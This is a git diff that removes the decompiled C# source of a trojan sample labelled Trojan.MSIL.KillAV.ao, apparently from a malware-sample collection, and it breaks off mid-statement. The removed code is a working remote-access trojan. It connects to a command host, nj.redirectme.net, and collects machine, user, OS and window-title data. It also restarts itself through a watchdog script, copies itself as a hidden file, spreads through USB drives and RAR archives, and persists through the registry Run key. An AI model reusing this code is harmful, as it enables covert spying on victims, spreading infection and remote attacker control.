a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.csproj +++ /dev/null @@ -1,204 +0,0 @@ - - - - - Debug - AnyCPU - {1442ECD2-5AEB-4D39-BED0-F40A664B7F18} - WinExe - p - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.sln b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.sln deleted file mode 100644 index f703d6fc..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "p", "Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.csproj", "{1442ECD2-5AEB-4D39-BED0-F40A664B7F18}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {1442ECD2-5AEB-4D39-BED0-F40A664B7F18}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1442ECD2-5AEB-4D39-BED0-F40A664B7F18}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1442ECD2-5AEB-4D39-BED0-F40A664B7F18}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1442ECD2-5AEB-4D39-BED0-F40A664B7F18}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/A.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/A.cs deleted file mode 100644 index a23006ba..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/A.cs +++ /dev/null @@ -1,135 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.A -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Resources; -using System.Runtime.CompilerServices; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - public class A - { - [AccessedThroughProperty("B")] - private BackgroundWorker _B; - public static Process fj = new Process(); - private string u; - private string z; - - public A() - { - this.B = new BackgroundWorker(); - this.u = Application.StartupPath + "\\" + Process.GetCurrentProcess().Id.ToString() + ".vbs"; - string q = n.My.Resources.Resources.Q; - this.z = API.DEB(ref q).Replace("NJP", Application.ExecutablePath).Replace("NJF", Conversions.ToString(Process.GetCurrentProcess().Id)); - } - - public virtual BackgroundWorker B - { - get => this._B; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - DoWorkEventHandler workEventHandler = (DoWorkEventHandler) ((a0, a1) => this.D()); - if (this._B != null) - this._B.DoWork -= workEventHandler; - this._B = value; - if (this._B == null) - return; - this._B.DoWork += workEventHandler; - } - } - - public void D() - { - byte[] B = (byte[]) new ResourceManager("nv.Resources", Assembly.LoadFile(Application.ExecutablePath)).GetObject("P"); - bool flag = false; - ref bool local1 = ref flag; - byte[] numArray = API.ZIP(B, ref local1); -label_1: - try - { - File.WriteAllText(this.u, this.z); - A.fj.StartInfo.FileName = this.u; - A.fj.Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_4: - try - { - ref byte[] local2 = ref numArray; - string str1 = "P.V"; - ref string local3 = ref str1; - string str2 = "FWD"; - ref string local4 = ref str2; - object obj1 = (object) new object[1] - { - (object) "Windows Script Host" - }; - ref object local5 = ref obj1; - int integer = Conversions.ToInteger(C.inv(ref local2, ref local3, ref local4, ref local5)); - ref byte[] local6 = ref numArray; - string str3 = "P.V"; - ref string local7 = ref str3; - string str4 = "Iswd"; - ref string local8 = ref str4; - object obj2 = (object) new object[1] - { - (object) integer - }; - ref object local9 = ref obj2; - if (Operators.ConditionalCompareObjectEqual(C.inv(ref local6, ref local7, ref local8, ref local9), (object) 1, false)) - { - try - { - A.fj.Kill(); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - API.wd.ShowWindow(integer, 0); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Thread.Sleep(100); - try - { - if (!A.fj.WaitForExit(100)) - goto label_4; - else - goto label_1; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/API.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/API.cs deleted file mode 100644 index 649db9c0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/API.cs +++ /dev/null @@ -1,262 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.API -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.MyServices; -using n.My; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.IO.Compression; -using System.Runtime.InteropServices; -using System.Text; - -namespace n -{ - [StandardModule] - internal sealed class API - { - private const uint LOCALE_SYSTEM_DEFAULT = 1024; - private const uint LOCALE_SABBREVCTRYNAME = 7; - - public static string fx(ref Array A) - { - string str1; - try - { - foreach (object obj in A) - { - string str2 = Conversions.ToString(obj); - bool flag; - if (Strings.InStr(str2, "Local Address") > 0) - flag = true; - else if (flag) - { - string str3; - if (Operators.CompareString(str2, "", false) == 0) - { - str1 = Strings.Mid(str3, 1, checked (str3.Length - 1)); - break; - } - do - { - str2 = Strings.Replace(str2, " ", " "); - } - while (Strings.InStr(str2, " ") > 0); - string[] strArray = Strings.Split(str2); - string str4; - try - { - str4 = Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\")[checked (Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\").Length - 1)] + ":" + strArray[5]; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str4 = Process.GetProcessById(Conversions.ToInteger(strArray[5])).ProcessName + ":" + strArray[5]; - ProjectData.ClearProjectError(); - } - str3 = str3 + str4 + "," + strArray[1] + "," + strArray[2] + "," + strArray[3].ToLower().Replace(MyProject.Computer.Name.ToLower(), "127.0.0.1") + "," + strArray[4] + "!"; - } - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - return str1; - } - - public static string Gt() - { - Process process = Process.Start(new ProcessStartInfo() - { - UseShellExecute = false, - RedirectStandardError = true, - RedirectStandardInput = true, - RedirectStandardOutput = true, - WindowStyle = ProcessWindowStyle.Hidden, - CreateNoWindow = true, - FileName = "cmd" - }); - process.StandardInput.WriteLine("netstat -o"); - process.StandardInput.WriteLine("exit"); - StreamReader streamReader = new StreamReader(process.StandardOutput.BaseStream); - Array A = (Array) Strings.Split(process.StandardOutput.ReadToEnd(), "\r\n"); - return API.fx(ref A); - } - - public static byte[] ZIP(byte[] B, ref bool CM) - { - if (CM) - { - MemoryStream memoryStream = new MemoryStream(); - GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true); - gzipStream.Write(B, 0, B.Length); - gzipStream.Dispose(); - memoryStream.Position = 0L; - byte[] buffer = new byte[checked ((int) memoryStream.Length + 1)]; - memoryStream.Read(buffer, 0, buffer.Length); - memoryStream.Dispose(); - return buffer; - } - MemoryStream memoryStream1 = new MemoryStream(B); - GZipStream gzipStream1 = new GZipStream((Stream) memoryStream1, CompressionMode.Decompress); - byte[] buffer1 = new byte[4]; - memoryStream1.Position = checked (memoryStream1.Length - 5L); - memoryStream1.Read(buffer1, 0, 4); - int int32 = BitConverter.ToInt32(buffer1, 0); - memoryStream1.Position = 0L; - byte[] array = new byte[checked (int32 - 1 + 1)]; - gzipStream1.Read(array, 0, int32); - gzipStream1.Dispose(); - memoryStream1.Dispose(); - return array; - } - - public static string FEN(byte[] B) => Convert.ToBase64String(B); - - public static byte[] FDE(string B) => Convert.FromBase64String(B); - - public static string ENB(ref string s) => Convert.ToBase64String(Encoding.UTF8.GetBytes(s)); - - public static string DEB(ref string s) => Encoding.UTF8.GetString(Convert.FromBase64String(s)); - - [DllImport("kernel32.dll")] - private static extern int GetLocaleInfo( - uint Locale, - uint LCType, - [Out] StringBuilder lpLCData, - int cchData); - - private static string Gcc(uint lInfo) - { - StringBuilder lpLCData = new StringBuilder(256); - int localeInfo = API.GetLocaleInfo(1024U, lInfo, lpLCData, lpLCData.Capacity); - return localeInfo > 0 ? lpLCData.ToString().Substring(0, checked (localeInfo - 1)) : string.Empty; - } - - public static string Gc() => API.Gcc(7U); - - public static string A0() - { - RegistryProxy registry = MyProject.Computer.Registry; - string str1 = B.PC + "\r\n"; - string str2; - try - { - str2 = str1 + API.Gc() + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str2 = str1 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string str3; - try - { - str3 = str2 + MyProject.Computer.Info.OSFullName + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str3 = str2 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string Expression = (B.CAM ? str3 + "Yes\r\n" : str3 + "No\r\n") + B.ver; - string str4; - try - { - str4 = Strings.Replace(Strings.Replace(Strings.Replace(Expression, "Microsoft", ""), "Windows", "Win").Replace("®", "").Replace("™", ""), " ", " "); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str4 = Expression + "X\r\n"; - ProjectData.ClearProjectError(); - } - return str4 + "\r\n \r\n "; - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(long hwnd); - - public static string A1(ref bool p) - { - string str1; - try - { - IntPtr foregroundWindow = API.GetForegroundWindow(); - if (foregroundWindow == IntPtr.Zero) - { - str1 = ""; - } - else - { - int windowTextLength = API.GetWindowTextLength((long) foregroundWindow); - string str2 = Strings.StrDup(checked (windowTextLength + 1), "*"); - API.GetWindowText(foregroundWindow, ref str2, checked (windowTextLength + 1)); - int lpdwProcessID; - API.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID); - if (lpdwProcessID == 0) - { - str1 = API.ENB(ref str2); - } - else - { - try - { - string mainWindowTitle = Process.GetProcessById(lpdwProcessID).MainWindowTitle; - str1 = API.ENB(ref mainWindowTitle); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = API.ENB(ref str2); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = ""; - ProjectData.ClearProjectError(); - } - return str1; - } - - public class wd - { - public const int HIDE = 0; - public const int Normal = 1; - public const int Minimized = 2; - public const int Maximized = 3; - public const int Show = 5; - public const int RESTORE = 9; - public int hWnd; - - public static void G(ref int hwd, ref int A) => API.wd.ShowWindow(hwd, A); - - [DllImport("user32")] - public static extern int ShowWindow(int hwnd, int nCmdShow); - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.cs deleted file mode 100644 index 3580e1b8..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.cs +++ /dev/null @@ -1,1335 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.B -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using Microsoft.Win32; -using n.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [DesignerGenerated] - public class B : Form - { - private IContainer components; - [AccessedThroughProperty("fs")] - private FileSystemWatcher _fs; - public static bool Fw = false; - public static bool FT = false; - public static bool netsh; - public static bool isFT; - public static bool KON; - public static string Vname = "VmljdGlt"; - public static bool DS; - public static string PC = "X"; - public static string ver = "1.6.2"; - public static string exename; - private string LA; - public static bool ISEND; - public A BW; - public static bool Busy; - public static bool CAM = false; - public static int ms; - [AccessedThroughProperty("WC")] - private SocketsClient _WC; - [AccessedThroughProperty("wL")] - private System.Windows.Forms.Timer _wL; - [AccessedThroughProperty("k")] - private System.Windows.Forms.Timer _k; - public static bool Connecting = false; - public static string no = "nj.redirectme.net:7"; - public static string Ai; - public static string SU = "*"; - public static bool UU; - public static string Uo = "*"; - public static string Ui = "*"; - public static string spread = "*"; - public static string mU = "*"; - public static string FR; - public static string Cht; - public static string plg = "p161"; - private int c2; - private int cc; - private int c0; - private int c3; - public static Mutex jMutex; - public static chat Chat; - private static string[] Block = new string[100000]; - private static int inx; - private static int err; - - public B() - { - this.FormClosing += new FormClosingEventHandler(this.B_FormClosing); - this.Load += new EventHandler(this.B_Load); - this.BW = new A(); - this.WC = new SocketsClient(); - this.wL = new System.Windows.Forms.Timer(); - this.k = new System.Windows.Forms.Timer(); - this.InitializeComponent(); - } - - [STAThread] - public static void Main() => Application.Run((Form) MyProject.Forms.B); - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.fs = new FileSystemWatcher(); - this.fs.BeginInit(); - this.SuspendLayout(); - this.fs.EnableRaisingEvents = true; - this.fs.IncludeSubdirectories = true; - this.fs.SynchronizingObject = (ISynchronizeInvoke) this; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(10, 10); - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (B); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.WindowState = FormWindowState.Minimized; - this.fs.EndInit(); - this.ResumeLayout(false); - } - - internal virtual FileSystemWatcher fs - { - get => this._fs; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - FileSystemEventHandler systemEventHandler = new FileSystemEventHandler(this.fs_Created); - if (this._fs != null) - this._fs.Created -= systemEventHandler; - this._fs = value; - if (this._fs == null) - return; - this._fs.Created += systemEventHandler; - } - } - - public virtual SocketsClient WC - { - get => this._WC; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - SocketsClient.onDataArrivalEventHandler arrivalEventHandler = new SocketsClient.onDataArrivalEventHandler(this.W3); - SocketsClient.onDisconnectEventHandler disconnectEventHandler = new SocketsClient.onDisconnectEventHandler(this.W2); - SocketsClient.onErrorEventHandler errorEventHandler = new SocketsClient.onErrorEventHandler(this.W1); - SocketsClient.onConnectEventHandler connectEventHandler = new SocketsClient.onConnectEventHandler(this.W0); - if (this._WC != null) - { - this._WC.onDataArrival -= arrivalEventHandler; - this._WC.onDisconnect -= disconnectEventHandler; - this._WC.onError -= errorEventHandler; - this._WC.onConnect -= connectEventHandler; - } - this._WC = value; - if (this._WC == null) - return; - this._WC.onDataArrival += arrivalEventHandler; - this._WC.onDisconnect += disconnectEventHandler; - this._WC.onError += errorEventHandler; - this._WC.onConnect += connectEventHandler; - } - } - - public virtual System.Windows.Forms.Timer wL - { - get => this._wL; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = (EventHandler) ((a0, a1) => this.wL_()); - if (this._wL != null) - this._wL.Tick -= eventHandler; - this._wL = value; - if (this._wL == null) - return; - this._wL.Tick += eventHandler; - } - } - - public virtual System.Windows.Forms.Timer k - { - get => this._k; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._k = value; - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(long vKey); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetProcessWorkingSetSize( - IntPtr process, - int minimumWorkingSetSize, - int maximumWorkingSetSize); - - public static void E() - { - try - { - while (true) - { - do - { - Thread.Sleep(10000); - GC.Collect(); - GC.WaitForPendingFinalizers(); - } - while (Environment.OSVersion.Platform != PlatformID.Win32NT); - B.SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void CL() - { - B.KON = false; - B.Busy = false; - try - { - chat.clos = true; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void B_FormClosing(object sender, FormClosingEventArgs e) - { - if (e.CloseReason == CloseReason.WindowsShutDown) - ProjectData.EndApp(); - else - e.Cancel = true; - } - - public void R() - { - MemoryStream memoryStream1 = new MemoryStream(); - Array Instance1 = (Array) File.ReadAllBytes(Application.ExecutablePath); - int num1 = checked (Instance1.Length - 400); - int num2 = checked (Instance1.Length - 1); - int num3 = num1; - while (num3 <= num2) - { - int num4; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 2) - }, (string[]) null)))), "***", false) == 0) - num4 = checked (num3 + 1); - int num5; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 2) - }, (string[]) null)))), "^^^", false) == 0) - num5 = checked (num3 - 3); - if (num4 > 0 & num5 == 0) - memoryStream1.WriteByte(Conversions.ToByte(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null))); - checked { ++num3; } - } - byte[] array1 = memoryStream1.ToArray(); - MemoryStream memoryStream2 = new MemoryStream(); - memoryStream2.Write(array1, 1, checked (array1.Length - 3)); - Encoding encoding = Encoding.Default; - byte[] array2 = memoryStream2.ToArray(); - bool flag = false; - ref bool local1 = ref flag; - byte[] bytes = API.ZIP(array2, ref local1); - Array Instance2 = (Array) Strings.Split(encoding.GetString(bytes), IND.Y); - B.no = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 0 - }, (string[]) null)); - B.SU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 1 - }, (string[]) null)); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null), (object) "*", false)) - { - B.Ai = "*"; - } - else - { - B.Ai = Interaction.Environ(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[1]) + "\\" + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[0]; - if (Operators.CompareString(B.Ai, Application.ExecutablePath, false) != 0) - { - try - { - if (File.Exists(B.Ai)) - File.Delete(B.Ai); - File.Copy(Application.ExecutablePath, B.Ai, true); - try - { - File.SetAttributes(B.Ai, FileAttributes.Hidden); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Operators.CompareString(Conversions.ToString(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[2][0]), "T", false) == 0) - { - string ai = B.Ai; - string executablePath = Application.ExecutablePath; - string arguments = "Kill@" + API.ENB(ref executablePath); - Process.Start(ai, arguments); - } - else - Process.Start(B.Ai); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.EndApp(); - ProjectData.ClearProjectError(); - } - } - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 3 - }, (string[]) null), (object) "^", false)) - B.UU = true; - if (Strings.InStr(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)), "*") == 0) - { - B.Uo = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)); - new Thread((ParameterizedThreadStart) (a0 => USB.USb(Conversions.ToString(a0)))).Start((object) B.Uo); - B.spread = "(" + B.Uo + ")USB,"; - } - B.mU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 5 - }, (string[]) null)); - try - { - Mutex.OpenExisting(B.mU); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - B.jMutex = new Mutex(true, B.mU); - if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 6 - }, (string[]) null), (object) "*", false)) - { - B.spread += "Rar,"; - B.Ui = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 6 - }, (string[]) null)); - this.fs.Path = Interaction.Environ("homedrive") + "\\"; - this.fs.EnableRaisingEvents = true; - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 9 - }, (string[]) null), (object) "^", false)) - { - B.Fw = true; - new Thread(new ThreadStart(this.fwb)).Start(); - } - else - B.Fw = false; - Registry.CurrentUser.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null))); - NK.Key = Conversions.ToString(Operators.ConcatenateObject((object) "HKEY_CURRENT_USER\\Software\\", NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null))); - string str1 = "vname"; - ref string local2 = ref str1; - Array Instance3 = Instance2; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num6 = 7; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num6; - objArray2[0] = (object) local3; - object[] Arguments = objArray1; - string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null)); - ref string local4 = ref str2; - string str3 = NK.GetValue(ref local2, ref local4); - NewLateBinding.LateIndexSetComplex((object) Instance2, new object[2] - { - (object) num6, - (object) str2 - }, (string[]) null, true, false); - B.Vname = str3; - } - - public void fwb() - { - try - { - byte[] p = n.My.Resources.Resources.P; - bool flag = false; - ref bool local1 = ref flag; - byte[] numArray = API.ZIP(p, ref local1); - ref byte[] local2 = ref numArray; - string str1 = "P.V"; - ref string local3 = ref str1; - string str2 = "main"; - ref string local4 = ref str2; - object obj = (object) null; - ref object local5 = ref obj; - C.inv(ref local2, ref local3, ref local4, ref local5); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.Fw = false; - ProjectData.ClearProjectError(); - } - } - - private void B_Load(object sender, EventArgs e) - { - try - { - B.exename = Process.GetCurrentProcess().ProcessName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.exename = "!"; - ProjectData.ClearProjectError(); - } - try - { - Control.CheckForIllegalCrossThreadCalls = false; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - byte[] plugin = n.My.Resources.Resources.plugin; - bool flag = false; - ref bool local = ref flag; - C.Plug = API.ZIP(plugin, ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - B.CAM = Operators.CompareString(new Cam().Dnames(), "", false) != 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.CAM = false; - ProjectData.ClearProjectError(); - } - try - { - B.PC = Environment.MachineName + "\\" + Environment.UserName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.Hide(); - this.Visible = false; - try - { - string Expression = Interaction.Command(); - if (Expression.Length > 0) - { - Array Instance1 = (Array) Strings.Split(Expression, "@"); - object Left = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left, (object) "!0", false)) - { - Thread.Sleep(100); - try - { - Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))).Kill(); - Process[] processesByName = Process.GetProcessesByName("wscript"); - int index = 0; - while (index < processesByName.Length) - { - Process process = processesByName[index]; - try - { - process.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - File.Delete(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", 